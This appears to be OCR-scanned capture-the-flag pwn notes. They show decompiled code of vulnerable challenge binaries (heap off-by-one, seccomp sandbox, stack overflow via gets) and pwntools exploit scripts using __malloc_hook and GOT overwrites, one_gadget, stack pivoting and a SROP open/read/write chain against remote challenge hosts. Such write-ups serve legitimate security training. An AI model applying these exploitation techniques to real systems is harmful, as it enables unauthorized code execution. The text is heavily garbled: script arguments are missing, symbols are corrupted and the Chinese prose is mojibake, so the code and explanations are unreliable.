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int menu()

{
PULS (=== - n oo ")
puts(" Heap Creator "3;
PULS ("= === ")
puts(” 1. Create a Heap "3;
puts(” 2. Edit a Heap ");
puts(" 3. Show a Heap "3;
puts(" 4. Delete a Heap ")
puts(” 5. Exit "3;
PULS ("= - ")
return printf("Your choice :");

}
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create

char buf[8]; // [rsp+16h] [rbp-28h] BYREF
unsigned __inté4 v5; // [rsp+18h] [rbp-18h]

v5 = _ readfsqword(@x28u);
for (1 =9; 1 <=9; ++1 )
{
if ( !*(&heaparray + i) )
{

*(&heaparray + 1) = malloc(@xl@uLl);
if ( !*(&heaparray + i) )
{

puts("Allocate Error");

exit(1);
¥
printf("Size of Heap : ");
read(®, buf, 8uLL);
size = atoi(buf);
ve = (__int64)*(&heaparray + 1);
*(_QWORD *)(ve + 8) = malloc(size);
if ( !'*((_QWORD *)*(&heaparray + 1) + 1) )
{

puts(“Allocate Error");

exit(2);
¥
*(_QWORD *)*(&heaparray + i) = size;
printf(“Content of heap:");
read_input (*((_QWORD *)*(&heaparray + i) + 1), size);
puts("SuccessFul");
return __readfsqword(@x28u) ~ v5;

¥
}

return __readfsqword(@x28u) "~ v5;
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edit

unsigned __int64 edit_heap()

{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+leh] [rbp-18h] BYREF
unsigned _ int64 v3; // [rsp+18h] [rbp-8h]
v3 = __ readfsqword(@x28u);

printf("“Index :");

read(®, buf, 4ulLL);

vl = atoi(buf);

if (vice || vis>9)
{
puts("Out of bound!");
_exit(8e);

if ( *(&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*((_QWORD *)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray +
puts(“"Done !");
}

else

{
puts("No such heap !");

}

return __readfsqword(ex28u) ™ v3;

read_inputll i 47 off by one.
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show

unsigned __inté4 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]

char buf[8]; // [rsp+1@h] [rbp-186h] BYREF
unsigned __inte4 v3; // [rsp+18h] [rbp-8h]

v3 = _ readfsqword(ex28u);
printf("Index :");
read(@, buf, 4ulLlL);
vl = atoi(buf);
if (vi<e || vi>9)
{
puts("Out of bound!");
_exit(e);

}

if ( *(&heaparray + v1) )

{
printf("Size : %ld\nContent : %s\n", *(_QWORD *)*(&heaparray + v1), *((const char **)*(&heaparray + v1) + 1));
puts("Done !");

}

else

{
puts("No such heap !");

}

return __ readfsqword(@ex28u) ~ v3;

delete

unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+1l@h] [rbp-186h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = _ readfsqword(@x28u);
printf("Index :");

read(®@, buf, 4uLL);

vl = atoi(buf);

if (vi<e || vi>9)

{
puts("Out of bound!");
_exit(e);
}
if ( *(&heaparray + vl1) )
{

free(*((void **)*(&heaparray + vl1) + 1));
free(*(&heaparray + v1));
*(&heaparray + v1) = eLL;
puts("Done !");
}

else

{
puts("No such heap !");

}

return __readfsqword(ex28u) ~ v3;
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exp

from pwn import

one_gadget 0x4526a

def create(size, content):
r.sendlineafter(
r.sendlineafter( 5 (size))
r.sendlineafter( , content)

def edit(index, content):
r.sendlineafter( 5 )
r.sendlineafter( (index))
r.sendlineafter( , content)

def show(index):
r.sendlineafter( 5 )
r.sendlineafter( (index))

def delete(index):
r.sendlineafter( 5 )

r.sendlineafter( (index))

create(0x18,




ub4(r.recvuntil( )[-6:].1just(8, )))

malloc_hook (malloc OXFFFFFFFFFFFFFO00) (libc.sym[
malloc_hook libc.sym[ ]
libc_base libc.sym[
libc_base + one_gadget

(malloc_hook)
(libc_base)

create(0x68,
delete(4)

p64(malloc_hook - ©x23)

Oxb + p64(one_gadget) p64(realloc 13))

r.sendlineafter(

r.interactive()
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from pwn import

process(

context.log level

elf = ELF(
libc = ELF(

one_gadget 0x4526a

def create(size, content):
r.sendlineafter(
r.sendlineafter( 5 (size))

r.sendlineafter( , content)
edit(index, content):

r.sendlineafter( 5 )
r.sendlineafter( (index))
r.sendlineafter( , content)
show(index):

r.sendlineafter( 5 )
r.sendlineafter( (index))
delete(index):

r.sendlineafter( 5 )
r.sendlineafter( (index))

p64(0)*2

create(0x70,p64(0)*8+p64(0x8)+p64d(elf.got| 1))

show(2)
free_addr=u64(r.recvuntil( )[-6:].1just(8,

print (free_got)

libc_base=free_addr-libc.sym(
system_addr=1libcbase+libc.sym(

edit(2,p64(system_addr))

delete(9)
r.interactive()
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.._inté4 sub_1282()

'
__inte4 vi; // [rsp+8h] [rbp-8h]

}
| vl = seccomp_init(2147418112LL);

| seccomp_rule_add(vl, eLL, 41LL, eLL);
'l seccomp_rule_add(vi, eLL, 42LL, eLL);
| seccomp_rule_add(vl, eLL, 49LL, eLL);
)| seccomp_rule_add(vl, eLL, 50LL, eLL);
)| seccomp_rule_add(vi, eLL, 56LL, ©LL);
.| seccomp_rule_add(vl, eLL, 59LL, eLL);
!| seccomp_rule_add(vi, eLL, 1eLL, eLL);
| seccomp_rule_add(vl, eLL, 9LL, eLL);
| seccomp_rule_add(vi, eLL, 57LL, ©LL);
i| return seccomp_load(vl);

]
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unsigned __int64 sub_1347()
{
char buf[264]; // [rsp+8h] [rbp-118h] BYREF
unsigned __inté4 v2; // [rsp+lesh] [rbp-8h]

v2 = __readfsqword(@x28u);

puts(“Welcome to v&n challange!");
printf("Here is my gift: ex%llx\n", &puts);
printf(“Please input magic message: ");
read(e, buf, 256uLL);

syscall(15LL);

return __readfsqword(@x28u) "~ v2;
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P ERATT A S 1 Hsignal,  Fif F sigreturns

Signal in Unix-like System

SignalIXEAFIFE1970FRAFFIRHEHEGH TUNIXAES, CERENRERRPHERNEIREZ, AR ESE—
ABHE (Ckill -9 $PIDY) |, BHAAMRIRERENEE, SEBENiE—LRESRHES.

AMTEF, HREREEMNHESR (deliver) —Psignal, 1ZHESITERER (suspend) , HAARE (1) , AERBEAZ
HRFEEHENA E T3, BERzanEtiFAdsignal handlerspdb B M signal (2) , Ysignal handlenZRIZE (3) , W#&EA
ZHREIREZEIEEN L M, sEREHENRT 4) .

User Process [N =
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User Level : Sfgnal Handlér :
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Kernel Level O | @ '.® H @ Time
ucontext save ucontext restore
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from pwn import

from LibcSearcher import

libc ELF( )
r remote( , 25083)

, log level

(r.recv(14), 16)

libcbase puts_addr libc.symbols|
open_addr libcbase libc.symbols|[
libcbase + libc.symbols[
libcbase libc.symbols|[ ]
libcbase 0x00000000003c5720 + Ox400
libcbase 0x21102
libcbase 0x202e8
libcbase 0x1b92

SigreturnFrame()
.rdi = 0
.rsi bss
0x100
read
bss

bss 0x98
p64(pop_rdi) p64(flag_addr) p64(pop_rsi) p64(9) p64(open_addr)

p64(pop_rdi) p64(3) p64(pop_rsi) p64(bss) p64(pop_rdx) p64(0x100) p64(read)
p64(pop_rdi) p64(1) p64(pop_rsi) p64(bss) p64(pop_rdx) p64(0x100) p64(write)

r.interactive()
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int vul()

{
char s[4@]; // [esp+@h] [ebp-28h] BYREF

memset(s, @, Ox20u);
read(@, s, 48u);

printf("Hello, %s\n", s); int hack()

read(®@, s, 48u); {

return printf(“"Hello, %s\n", s); return system("echo flag");
} }
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exp

from pwn import
r remote( ,29949)

leave_ret 0x8048562
system_addr 0x8048400

payload ox24

r.send(payload)

r.recvuntil( )
u3d2(r.recv(4))

(ebp))

p32(system_addr) p32(buf ).1ljust(0x28, ) p32(buf) p32(

r.interactive()
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|__int64 vulnerable()
{
puts("HaHaHa! \nWhat else can you do???");
close(1);
close(2);
return shell();

H~closert A~ ik 2= #fTshell
S FRAETWE. ... I F 54k ...

close (1) M T bruEdiHh

close (2) M T hrEssiR
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main

int __cdecl main(int argc, const char **argv, const char **envp)

{
char v4[48]; // [rsp+@h] [rbp-786h] BYREF
char v5[24]; // [rsp+36h] [rbp-48h] BYREF

__int64 ve6; // [rsp+48h] [rbp-28h]
__inte4 v7; // [rsp+50h] [rbp-20h]
__inte4 v8; // [rsp+58h] [rbp-18h]
__int16 v9; // [rsp+68h] [rbp-18h]
unsigned __inté4 vie; // [rsp+68h] [rbp-8h]
v1le = _ readfsgqword(@x28u);
strcpy( /5, "juldt_@_fek3_fl@g");

vEe = @LL;

v7 = 8LL;

vE = @LL;

1.-3 = e

gets(v4, argv);

if ( !(unsigned int)check((__inte4)vs) )
exit(e);

system("/bin/sh");

return @;

check

| _inté4 _ fastcall check(__inté4 al)

{
int i; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

v3 = strlen(fake_flag);
for (1 =0; ; ++1 )
{
if (1 ==v3)
return 1LL;
if ( *(_BYTE *)(i + al) != fake_flag[i] )
break;

}
return eLL;

At 285 AT



from pwn import

,25779)

r.sendline(payload)

r.interactive()
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